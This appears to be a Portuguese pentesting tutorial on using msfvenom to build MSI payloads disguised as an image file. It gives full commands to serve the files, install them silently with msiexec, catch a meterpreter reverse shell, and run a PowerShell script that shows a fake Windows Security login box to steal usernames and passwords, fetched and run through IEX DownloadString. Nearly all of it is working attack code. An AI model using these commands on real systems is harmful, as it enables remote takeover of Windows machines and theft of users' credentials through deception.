Utilizando o msfvenom conseguimos gerar payloads em MSI que podem nos auxiliar no processo de exploração do Windows e neste artigo descrevo alguns exemplos que podem ser úteis durante o pentest.
Neste exemplo vamos gerar um payload que execute o cmd.exe através do arquivo 100security.png e em seguida vamos iniciar um serviço web para que seja possível realizar o download do arquivo gerado através da máquina da vítima.
Linuxmsfvenom -p windows/exec CMD=cmd.exe -f msi > 100security.png python -m SimpleHTTPServer 80
Em Iniciar > Executar digite :
Windowsmsiexec /q /i http://192.168.0.100/100security.png
Como pode ver na tela abaixo o cmd.exe foi executado com sucesso, o mesmo processo pode ser seguido para a execução de um malware.
Gere um novo payload porém agora estabelecendo a configuração reversa com a máquina do Atacante e em seguida vamos iniciar um serviço web para que seja possível realizar o download do arquivo gerado através da máquina da vítima.
Linuxmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f msi > 100security.png python -m SimpleHTTPServer 80
Na máquina do Atacante inicie o msfconsole para receber a sessão da conexão reversa.
Linuxmsfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.0.100 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit
Em Iniciar > Executar digite :
Windowsmsiexec /q /i http://192.168.0.100/100security.png
Assim que executado o Atacante recebe a conexão reversa e obtém controle do computador da vítima.
Basta o Atacante executar o comando shell para obter o controle da máquina da vítima.
Linuxmeterpreter > shell C:\WINDOWS\system32>whoami
Crie o arquivo senha.ps1 com o conteúdo a seguir e em seguida vamos iniciar um serviço web para que seja possível realizar o download do arquivo gerado através da máquina da vítima.
PowerShell : senha.ps1$senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuario e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, PasswordLinux
python -m SimpleHTTPServer 80
Através da máquina do Atacante execute o comando abaixo para realizar o download do script senha.ps1 e executar no computador da vítima.
LinuxC:\WINDOWS\system32>powershell PS C:\WINDOWS\system32> powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.100/senha.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
A tela Windows Security aparecerá para o Usuário o que provavelmente ele possa se confundir com alguma interação do Windows e preencher os campos.
Assim que o Usuário preencher os campos e pressionar OK os dados de Usuário e Senha são enviados para o Atacante como mostra na imagem a seguir :